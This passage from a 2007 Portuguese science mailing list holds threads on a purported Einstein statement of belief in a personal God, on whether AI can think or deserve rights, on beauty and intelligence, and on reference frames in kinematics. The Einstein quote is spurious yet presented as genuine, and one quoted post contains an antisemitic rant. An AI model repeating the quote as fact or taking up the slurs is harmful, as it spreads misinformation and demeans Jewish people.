Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre grave
erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Victor: ...Também niguém é perfeito.

Sds,

Victor.

----- Original Message -----
From: Esteban Moreno
To: undisclosed-recipients:
Sent: Sunday, May 06, 2007 8:45 PM
Subject: [ciencialist] A idéia que Einstein fazia de Deus

A idéia que Einstein fazia de Deus
<http://www.ansiao.net/einstein.jpg>

*«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Não há oposição entre a ciência e a religião.
Apenas há cientistas atrasados, que professam ideias que datam de 1880.

Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
mecanicista e casualista como irremediavelmente antiquadas.

No interior do átomo não reinam a harmonia e a regularidade que esses
cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
formuladas na base de estatísticas reformáveis. Ora, essa indeterminação, no
plano da matéria, abre lugar à intervenção de uma Causa, que produza o
equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
matéria.

Há, porém, várias maneiras de se representar Deus. Alguns o representam como
o Deus mecânico, que intervém no mundo para modificar as leis da natureza e
o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos. Outros
o representam como o Deus jurídico, legislador e agente policial da
moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como o
Deus interior, que dirige por dentro todas as coisas e que se revela aos
homens no mais íntimo da consciêncía.
-
A mais bela e profunda emoção que se pode experimentar é a sensação do
místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
estranha tal sensação, aquele que não mais possa sonhar e ser empolgado pelo
encantamento, não passa, em verdade, de um morto.

Saber que realmente existe aquilo que é impenetrável a nós, e que se
manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
as nossas faculdades embotadas só podem entender em suas formas mais
primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
verdadeira religiosidade.

A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
pesquisa científica. Minha religião consiste em humilde admiração do
espírito superior e ilimitado que se revela nos menores detalhes que podemos
perceber em nossos espíritos frágeis e incertos. Essa convicção,
profundamente emocional na presença de um poder racionalmente superior, que
se revela* no* incompreensível, é a ideia que faço de Deus».*

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]

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21:01

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 19:51

Jovem Sílvio,



Em minhas prosopéias, em nenhum momento, em situação alguma, cogitei ou
cogito de algo como “colocar um deus qualquer no processo cognitivo.” Até
em razão de essa entendidade, para mim, claro, ser um folclore, que
resultou do medo da morte e da sabedoria daqueles primeiros que se
intitularam sacerdotes, que viram nisso a ilha do tesouro e os mapas
pertinentes. Discernimento, inteligência, saber que sabe, nada disso tem a
ver com divindades, seres superiores ou inferiores que, sequer, são
superiores ou inferiores. Consciência e vida, eis a questão. Disso,
continuamos, garbosamente, sabendo nada. And so on.





Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Silvio Cordeiro
Enviada em: quarta-feira, 9 de maio de 2007 18:39
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO



Meu amigo Vitor:
Se exagerei, perdoe: apenas não concordo, por convidções pessoas e ausência
de elementos consistentes para as possa assimilar, colocar um deus qualquer
no processo cognitivo.

boa noite!!

silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Tuesday, May 08, 2007 6:16 AM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Sílvio,

Honestamente, não ví onde mistura foi feita. Mas pode desmisturar, na
próxima irei asperizar o caminho,
para não deslizar.
Tudo que você disse está ok. Não importa a capacidade de memória, que um
desses possa ter, para guardar
dados, executando qualquer sequência de comandos, usando estes dados.
Meu ponto está nisto: discernimento! Como tentei exprimir com exemplos. Mais
um exemplo: este que você exercitou, ao ler meu texto, e dele extrair
munição para este seu texto, com uma interpretação absolutamente pessoal.
Um SílvBorg faria algo assim, sequer aproximado? I not cridito. Seria apenas
por causa de
minhas limitações, esse jeito de pensar? Sei não, sei não.

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Monday, May 07, 2007 3:52 PM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Victor:

Sua argumentação apresenta só um deslise: você está misturando um conceito
religioso, inexistente - deus - na diligência humana.

Observe que, desde Tales o homem ocidental se preocupa em observar a
natureza e dela extrair conhecimentos para auxiliá-lo em suas lides.
Neste século, a robótica tem grande expansão, é patéria de curriculo
escolar, em alguns anos alcançará patamares insususpeitáveis, principalmente
com os sofisticados equipamentos existentes, como o CERN na Europa.
Tudo reside em o homem criar um elemento físico ou mesmo orgânico semelhante
aos neurônios que tem dupla função: guardam as informações que o indivíduo
assimina mesmo subjetivamente do meio ambiente, por meio dos sentidos e
posteriormente poder usar esses elementos arquivados em idéias para criação
de outros elementos (deveríamos, filosóficamente chamar simplesmente de
"coisas":).
Está matada a charada. coisa muito simples,,,,
Mas, observe, tais robôs deverão, no início, serem construidos para
atividades específicas como hoje já trabalham na indústria, sem forma
humana: tudo acontece gradativamente, ao longo do tempo de existência dos
humanos. É preciso aguardar e colocar a moçada no estudo.

quem sabe, um dia.....

O grande roblema que vejo será programar um orgasmo...

boa tarde,

silvio.

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Sunday, May 06, 2007 6:39 AM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Mestre Sílvio.

Sílvio: Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

Victor: Mas é só idéia. Nem mais nem menos que isso.
A implementação de algo assim
não demandaria, sequer, um tempo infinito! Apesar de meu respeito
pela ciência e ter conhecimento dos desenvolvimentos do ramo científico
Inteligência Artificial, não vislumbro coisas a nível do que expressa a
frase
objeto destas poucas e mal traçadas linhas. Vislumbro, sim, como ora já
acontece,
o uso da I.A para controles cada vez mais sofisticados, cada vez mais
sofisticados,
cada vez mais... Mas é só. E olha que não sou espiritualista, que nega tais
coisas pela simples
razão de que, assim, o homem estaria fazendo o mesmo que God. Que disparate,

sô!
Minhas razões disso nada têm.
Já pensou como seria interessantse um fórum, de nome "Ciencyborg", criado
por CyBrudna,
cujos participantes fossem todos robôs? Que discutissem assim, como os
do Ciencialist? Com direito a coisas prá lá de úteis, inteligentes e
interessantes,
seja a nível de contestatações, seja a nível de defesas, ou mesmo a nível
das besteiradas que, vez ou outra
mais vez do que outra, ultimamente, surgem? Tais robôs seriam incapazes
até mesmo de, sem uma programação
específica, discernirem e praticarem asnices. Ou alguém faz a sintaxe
correta, sem um mero pontinho a mais ou a menos
ou nada funciona.
Adoraria presenciar um discussão intelectual de um desses sobre as o
Discurso do Método, Esquesitices do óbvio,
um enfrentamento das idéias do Alberto Mesquita, ou mesmo um embate poético
com um Catulo da Paixão Cearense,
uma "simples" cantoria com um destes cantadores do Nordeste, como o meu pai
ou o Pinto do Monteiro(ambos falecidos), entre outros exemplos. Ah, bota
ele prá discutir com Ferrari, bota! Prá ver se não espirra sangue(digo,
óleo) e fumaça por todo canto!
Só não por alí, que por alí nem teria. Quem já viu Cyborg que se preze com
"por alí", ora!
Olha, as engrenagens do bicho se engriparão nos primeiros minutos.
Pago prá ver, se estou dizendo asnices(que seriam incapazes de dizerem,
"conscientemente"). E, se pagar, complementarei a dívida plantando
"baneira", em praça pública, sem
zorba, com uma vela pingando na direção da linha reta que passa pelo centro
da cabeça.
Tinha muita graça!

Sds,
Victor.

----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br
<mailto:scordeiroes%40superig.com.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Saturday, May 05, 2007 7:33 PM
Subject: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Mestre Takata:

Peço seu abalizado parecer nesta questão.

sds.,

silvio.
----- Original Message -----
From: Pesky Bee
To: Acropolis_@yahoogrupos.com.br <mailto:Acropolis_%40yahoogrupos.com.br>
Sent: Friday, May 04, 2007 5:36 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Putz, constantor, começou dizendo que concorda mas logo
em seguida discorda. A questão é encarar os neurônios
biológicos como processos físicos que manipulam informação.
Sob esse aspecto, neurônios ou transístores, não importa,
são processos físicos processando informação. E pode ser
que você reclame de eu ser um reducionista do caralho,
mas afetividade, intuição e imaginação podem ser reduzidos,
em última instância, à atividade neural. Hoje não sabemos
em detalhes como isso opera, mas sabemos que não parece
haver nada "além de neurônios" no pensamento e sentimento
humanos (e quem estuda neurociência sabe disso desde o
primeiro momento). Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

*PB*

----- Original Message -----
From: constantor
To: Acropolis_@yahoogrupos.com.br <mailto:Acropolis_%40yahoogrupos.com.br>
Sent: Friday, May 04, 2007 3:17 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

concordo, caro.

mas isto não retira o caráter de simulação que está envolvido na
inteligência artificial. Sempre será uma máquinha que reproduz, por
meio de mecanismos, uma realidade que existe enquanto tal somente no
homem.

E a própria idéia de reduzir à inteligência humana a uma mera
calculadora demonstra isto. Vamos dizer que o homem seja apenas esta
dinãmica enloquecida empreendida pelos neurônios. Esta dinâmica gera
coisas em nõs, que uma calculadora gigante não reproduz. Como eu
estava falando com o John, a racionalidade humana não e´despida dos
elementos de afetividade, intuição, imaginação, e vários estados de
consciencia que só nós vivenciamos. Máquinhas fazem cálculos somente.

--- Em Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br> , "Pesky Bee" <peskybee2@...>
escreveu
>
> E o cérebro biológico estará meramente fazendo um bando
> de neurônios dispararem loucamente. Basta usarmos um
> nível de análise diferente para máquinas e cérebros
> serem muito dissimilares. Agora, se nos fixarmos em um
> mesmo nível (e falarmos em, por exemplo, "estados mentais",
> representação de informação, conceituação, heurística, etc.)
> podemos melhor compará-los. Inteligência artificial só pode
> ser entendida se houver comparação no mesmo nível de
> análise. Capiche?
>
> *PB*
>
>
>
> ----- Original Message -----
> From: constantor
> To: Acropolis_@yahoogrupos.com.br <mailto:Acropolis_%40yahoogrupos.com.br>

> Sent: Friday, May 04, 2007 2:16 PM
> Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO
E EUNUCO
>
>
> Olha o salto Pesky.
>
> O computador estará fazendo cálculos matemáticos.
>
> Ponto.
>
> --- Em Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br> , "Pesky Bee" <peskybee2@>
> escreveu
> >
> > Essa questão de imitar ou não é mais complexa do que isso.
> > Um robô mecânico como o Asimo pode ser dito como "imitando"
> > o andar humano. Mas uma calculadora que multiplique 2 * 2
> > não estará imitando uma computação que fazemos mentalmente:
> > estará *fazendo* essa computação (com heurística diferente,
> > mas estará). A diferença fundamental é que um furacão pode
> > ser simulado em um computador (e a simulação pode "destelhar"
> > casas virtuais; obviamente ninguém confundiria isso com a
> > realidade), mas um robô que pensa não estará "imitando" nosso
> > pensar: ele estará realmente pensando.
> >
> > *PB*
> >
> >
> >
> > ----- Original Message -----
> > From: constantor
> > To: Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br>
> > Sent: Thursday, May 03, 2007 10:12 PM
> > Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E EUNUCO
> >
> >
> > Animais naõ imitam, possuem o atributo vida. Alguns animais
> imitam
> > atributos que não possuem, como o papagaio. Máquinas também
> podem
> > imitar o raciocínio lógico matemático, mas a subjetividade não
> se
> > reduz a isto.
> >
> > --- Em Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br> , "John C"
> > <johnconstantine2@> escreveu
> > >
> > > Olá
> > >
> > >
> > >
> > > Um dos atributos da pessoa humana é a vida. Animais imitam a
> vida?
> > >
> > >
> > >
> > > Qual a diferença entre possuir um atributo e imita-lo? Tal
> coisa é
> > possível?
> > > Posso imitar o Superman voando?
> > >
> > >
> > >
> > > _____
> > >
> > > De: Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br>
> > [mailto:Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br> ] Em
> > > nome de constantor
> > > Enviada em: quinta-feira, 3 de maio de 2007 16:25
> > > Para: Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br>
> > > Assunto: Re: RES: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -

> > HOMERO E
> > > EUNUCO
> > >
> > >
> > >
> > > Porque, dado que não são pessoas, eles não possuem estes
> > atributos,
> > > apenas os imitam.
> > >
> > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br, "John C"
> > > <johnconstantine2@> escreveu
> > > >
> > > > Olá
> > > >
> > > >
> > > >
> > > > E que direitos possuímos enquanto pessoas que não
possuímos
> > > enquanto
> > > > animais? E por que?
> > > >
> > > >
> > > >
> > > > Suponhamos quem sejamos pessoas por possuir os atributos
X,
> Y e
> > Z.
> > > Se para
> > > > cada atributo possuímos uma dada classe de direitos, por
que
> > seres
> > > outros
> > > > que possuam um desses atributos não podem ter a mesma
classe
> de
> > > direitos?
> > > > Que atributo humano nos dá o direito ao voto, por exemplo?
> Se
> > uma
> > > máquina
> > > > tiver esse atributo, ela não poderia votar?
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > > _____
> > > >
> > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br
> > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br] Em
> > > > nome de constantor
> > > > Enviada em: quinta-feira, 3 de maio de 2007 15:50
> > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br
> > > > Assunto: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO
> > E
> > > EUNUCO
> > > >
> > > >
> > > >
> > > > Se não são pessoas, não há porque dar a elas direitos que
> > > possuímos
> > > > enquanto pessoas. Alguma proteção jurídica elas vão ter.
Mas
> aí,
> > > até
> > > > nossos animais domésticos têm.
> > > >
> > > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br, "John C"
> > > > <johnconstantine2@> escreveu
> > > > >
> > > > > Olá
> > > > >
> > > > >
> > > > >
> > > > > Sim, isso é certo e me parece indiscutível: máquinas não
> são e
> > > não
> > > > serão
> > > > > pessoas. A questão é por que somente as pessoas humanas
> devem
> > > ter
> > > > certos
> > > > > direitos? Burros não são pessoas e nem por isto
> consideramos
> > > certo
> > > > jogá-los
> > > > > num tanque de ácido. Por que direitos não poderiam ser
> dados a
> > > > máquinas que,
> > > > > vistas de fora, possuam consciência? (ou ajam tal qual,
o
> que
> > dá
> > > > na mesma,
> > > > > já que não podemos dizer que nosso vizinho possui
> consciência
> > > > também)
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > Se uma máquina for capaz de escolher, por que não puni-
la
> por
> > > uma
> > > > dada
> > > > > atitude?
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _____
> > > > >
> > > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br] Em
> > > > > nome de constantor
> > > > > Enviada em: quarta-feira, 2 de maio de 2007 17:40
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Assunto: Re: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E
> > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > É tão óbvia a má fé do Eurico e tão intensa sua solidão
em
> > > relação
> > > > aos seus
> > > > > pares, que ele tem de distorcer conscientemente as
> afirmações
> > > dos
> > > > outros a
> > > > > fim de poder considerar as máquinas dentre as quais vive
> como
> > > seres
> > > > > iguaizinhos a ele.
> > > > >
> > > > >
> > > > >
> > > > > Ninguém disse que não há pesquisa, experimentos e
esforços
> > rumo a
> > > > > Inteligência Artificial. O que se está afirmando é que
> esta,
> > > mesmo
> > > > que um
> > > > > dia venha a ser construída, não é uma pessoa.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > ----- Original Message -----
> > > > >
> > > > > From: Eurico <mailto:caodejah@> Ferreira de Souza Jr.
> > > > >
> > > > > To: Acropolis_@yahoogru <mailto:Acropolis_@yahoogru
> > > > <mailto:Acropolis_%40yahoogrupos.com.br> pos.com.br>
> > > > pos.com.br
> > > > >
> > > > > Sent: Wednesday, May 02, 2007 8:23 AM
> > > > >
> > > > > Subject: Res: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO E
> > > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > [E]> é tão óbvia a má-fé do troll judeu, atacando
> > exaustivamente
> > > > > quem zela pela racionalidade e coerência filosófica que

> dó.
> > > > > Uns terroristas safados que não querem permitir o
trabalho
> > > > filosófico
> > > > > aos gentios e ficam enchendo a lista de merda religiosa.
> > > > > Pra eles o importante é tumultuar e evitar o
> esclarecimento,
> > > > > nem que, pra isso, tenham que cair no mais completo
> ridículo
> > > > indecente.
> > > > > Um dá carteirada de judeu, mas se lembramos esse fato,
fica
> > > > > ofendido, o outro se converteu ao cristianismo pra não
dar
> tão
> > > na
> > > > cara.
> > > > > Querem que sejamos cristãos sem pensamento critico,
> > > > > trabalhadores braçais sem ciência e tecnologia, patriotas
> > > > > sem consciência política, usuários de windows, desunidos
> > > > > e desorientados porque o papai do céu escolheu um povo
> > > > > e prometeu a terra (junto com os não escolhidos) pra
eles.
> > > > >
> > > > > Inteligência Artificial não é ficção científica: vou ter
> essa
> > > > matéria
> > > > > no ano que vem! (a keyword pra quem quer saber mais é
> prolog)
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1024>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1024
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1034>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1034
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1040>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1040
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _\|/_
> > > > >
> > > > >
> > > > >
> > > > > ----- Mensagem original ----
> > > > > De: Victor Molina -BR <victormolinabr@>
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Enviadas: Quarta-feira, 2 de Maio de 2007 1:06:10
> > > > > Assunto: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E
> EUNUCO
> > > > >
> > > > > É tão óbvia, mas tão óbvia a razão de porque o Homero e
o
> > Eunuco
> > > > são
> > > > > entusiastas da inteligência artificial, que acabamos não
> nos
> > > dando
> > > > conta,
> > > > > ora. É simples: a inteligência artificial é a única
> esperança
> > > dos
> > > > dois de
> > > > > adquirirem algum tipo de inteligência. :-)
> > > > >
> > > > >
> > > > >
> > > > > __.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > __________________________________________________
> > > > > Fale com seus amigos de graça com o novo Yahoo!
Messenger
> > > > > http://br.messenger <http://br.messenger
> > > <http://br.messenger.yahoo.com/> .yahoo.com/> .yahoo.com/
> > > > >
> > > > > __________ Informação do NOD32 IMON 2113 (20070313)
> __________
> > > > >
> > > > > Esta mensagem foi verificada pelo NOD32 sistema antivírus
> > > > > http://www.eset. <http://www.eset. <http://www.eset.
> > > <http://www.eset.com.br> com.br>
> > > com.br> com.br
> > > > >
> > > >
> > >
> >
>

----------------------------------------------------------

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[As partes desta mensagem que não continham texto foram removidas]

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[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 20:29

Caro Sílvio:

> Vamos por duas vertentes: a primeira é que "aparência" é um
conceito subjetivo, criado pelo consciente das pessoas pela
assimilação de traços que lhes sejam agradáveis, geralmente
assemelhados aos seus ou aos de seus sonhos em função de imputs
recebidos.

Existem evidências de que, pelo menos a beleza facial, esteja
relacionada à média entre os diferentes formatos de rostos de uma
população. Quanto mais na média estiver um rosto, mais bonito ele
será. Tem um experimento em que eles pegaram várias fotos de rostos
e
foram fundindo-as no computador. Quanto mais rostos eles
acrescentavam ao modelo, mais bonito ficava seu rosto. O que se
supõe
é que um rosto com características médias reflete um bom
desenvolvimento do embrião, o que significaria melhores genes. Em
geral um rosto bonito é reconhecido por toda a sociedade como
bonito.
Aquela coisa de que a beleza está nos olhos de quem a vê é uma
tolice. Existem pessoas que são realmente bonitas, e outras que são
realmente feias. É verdade que uma pessoa pode se sentir atraída por
outra meio feia (o que parece ter motivos evolutivos que não convém
aqui discutir), mas ela admite que a pessoa em questão não é bonita,
embora se sinta atraída por ela. Alguns traços feios podem dar à
pessoa um "tempero" que, aos olhos de uma outra, possam dar-lhe um
aspecto interessante. Do meu ponto de vista, é o caso da Kristen
Dunst, que fez Homem-aranha, As virgens suicidas e aquela vampirinha
sinistra de Entrevista com o vampiro. Ela tem algo de feio. Mas esse
elemento a faz ficar interessante.

> Inteligência é outra coisa, completamente desvinculada da
aparência:

Sem dúvida.

> o que vulgarmente se chama de inteligência é a capacidade que cada
indivíduo tem, em graus variados, para resolver determinadas gamas
de
problemas.

Me parece que inteligência é um termo que é usado para descrever
habilidades diferentes, que são todas postas no mesmo saco. A
inteligência que se mede em testes de QI reflete apenas um tipo de
habilidade mental. Darwin não se achava inteligente. Ele dizia não
conseguir acompanhar bem uma linha de raciocínio complexo. O mesmo
ocorre comigo. Esses textos filosóficos complicados, tipo Kant e
Hegel, eu tenho muita dificuldade para entender. Mas eu tenho outras
habilidades que alguns podem chamar de inteligência. Na verdade eu
não me acho inteligente. Um teste de QI que fiz na adolescência deu
ligeiramente acima da média. Eu também não tenho uma língua afiada,
habilidades sociais, capacidade de fazer conexões entre diferentes
fenômenos. Tudo isso poderia ser chamado de inteligência, embora
sejam habilidades distintas. Você disse que inteligência é a
capacidade "para resolver determinadas gamas de problemas." Pode
ser.
Mas a gama de problemas pode ser ampla, e o indivíduo pode se sair
bem em alguns tipos de problemas, e mal em outros. Pode-se até falar
de inteligência de um jogador de futebol, ou de um músico que
improvisa jazz.

Saudações.
João de Carvalho




SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 23:06

Xi Léo, eu deixei essa mosca às moscas até que o nobre José Renato
chegue a um acordo sobre o referencial mágico dele onde o avião não
voa. :)

Esse problema da mosquinha é um classico da cinemática escalar de
movimentos retilíneos uniformes. Mas, provavelmente, a mosquinha dele
também não voa. :)))

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Resumindo:
> JC - Então, de uma vez por todas: qual é o seu referencial? O chão
ou o chão? :)
>
> JR - Entre todas essa opções que vc concede, devo reafirmar *mais
uma vez*
> que é o chão-esteira. Mas sua fixação pelo chão é significativa e
> reveladora... O chão não é o único referencial. Vamos às digressões.
Conhece
> o problema da mosca que transita entre dois trens que se deslocam em
> velocidades diferentes, um em direção ao outro, em linha reta, e se
pergunta
> após quanto tempo os trens se encontram e esmagam a mosca? Qual é o
> referencial?
>
> Léo: Será que com esse exemplo que ele mesmo deu seremos capaz de
'convencê-lo' da importância dos referenciais?
> Vejamos:
>
> Referencial 1: o solo;
> Dados: trens com velocidades constantes em relação ao solo com
velocidades v1 e v2, em sentidos opostos.
> Orientação positiva da trajetória: de (1) para (2), com origem dos
espaços em (1).
> Origem dos tempos: instante em que 1 parte de (1) e 2 parte de (2);
distância entre (1) e (2) vale d.
> Equação de movimento do trem 1: s1 = v1.t
> Equação de movimento do trem 2: s2 = d - v2.t
> Condição de encontro dos trens: s1 = s2
> Instante do encontro (te) (e morte da mosca): v1.te = d - v2.te ==>
te = d/(v1+v2)
> (um minuto de silêncio pelo passamento da mosca)
>
> Referencial 2: o trem 1
> Dados: um trem 2 com velocidade relativa (v1+v2) em valor absoluto
dispara em sentido ao trem 1.
> Orientação positiva da trajetória: de (1) para (2), com origem dos
espaços em (1).
> Origem dos tempos: instante em que 2 parte de (2); distância entre
(1) e (2) vale d.
> Equação de movimento do trem 1 : s1 = 0
> Equação de movimento do trem 2: s2 = d - (v1+v2).t
> Condição de chegada de (2) em (1): s2 = 0
> Instante de chegada (tc) (e esmagamento da mosca): d - (v1+v2).tc =
0 ===> tc = d/(v1+v2).
> (um minuto de silêncio pelo passamento da mosca)
>
> Referencial 3: por falta de total bom senso: a mosca! Deixo essa
resolução recreativa para o amigo JR.
>
> JR continua com:
>
> "Vc já viu o espetáculo circense chamado de Globo da Morte, onde
> motociclistas se movimentam simultaneamente dentro de uma estrutura
> esférica? Pense uma estrutura dessas girando em seu eixo fixo ao
chão, e um
> motociclista se deslocando na linha do "equador" na mesma velocidade
> angular, mas em sentido contrário. Ele consegue fazer isso? Qual é o
> referencial?"
>
> Léo: Esse espetáculo, com o globo em movimento já existe (eu o vi em
S.P., no Anhembi, na década de 70). O espetáculo consta de 3 partes
distintas. Na primeira, o motoqueiro fica dentro do globo com as rodas
desbrecadas; o globo gira e o motoqueiro praticamente não sai do lugar
(ele usa um pouco os pés raspando ligeiramente no chão para atenuar o
pequeno atrito nos mancais).
> Na segunda, ele aciona levemente o breque em momentos oportunos para
ir adquirindo a velocidade do próprio globo e, com isso vai
subindo(sem ligar a máquina) até ficar no plano equatorial do globo,
quando então aos freios são aplicados ao máximo; lá fica ele girando
ao sabor da força centrípeta dentro do globo com a cabeça dirigida
para o centro (ele e máquina ficam grudados pela centrifugação tal
qual uma roupa da máquina de lavar). A terceira parte começa como a
primeira: o globo gira e ele fica parado em baixo; depois liga a
máquina e começa seu movimento próprio em relação ao globo (é como se
o movimento do globo não existisse); faz isso contra e a favor ao
movimento do globo para mostrar que o globo em si nada tem a ver com a
história. Claro que sua velocidade própria, com o globo girando é
menor que com o globo parado pois uma parcela da resultante centrípeta
serve para minimizar seu peso próprio quando gira na região do equador
do globo.
> Assim, o motoqueiro consegue fazer o que o JR pergunta sem qqer
problema.
>
> aquele abraço,
>
> Léo
> ==============================
>




SUBJECT: Re: Espanta pássaros ... era (A idéia que Einstein fazia de Deus)
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 23:32

Prezado consulente, Léo,

Seus problemas se acabaram-se!

Atendendo às suas solicitações sobre as características dos meus
exclusivos duendes, seguem as principais:

- todos são ISO 5000, aferidos pelo INMETRO e dentro dos estritos
padrões de qualidade exigidos pelo mercado internacional de duendes;
- seus poderes místicos-duendais originam-se das propriedades
quânticas da energia de flutuação do vácuo-quântico e, portanto, não
será preciso abastecê-los, pois usando o mesmo princípio de geração de
energia nas fronteiras do horizonte de eventos dos buracos negros,
meus duendes recarregam-se continuamente de energia limpa e inesgotável;
- por viverem acima das quatro dimensões ordinárias do espaço-tempo,
no universo específico das dimensões das cordas, eles também não
enfrentam problemas com relação a deslocamentos ou à impossibilidade
de ocuparem juntos o mesmo lugar no espaço ou, diferentes lugares ao
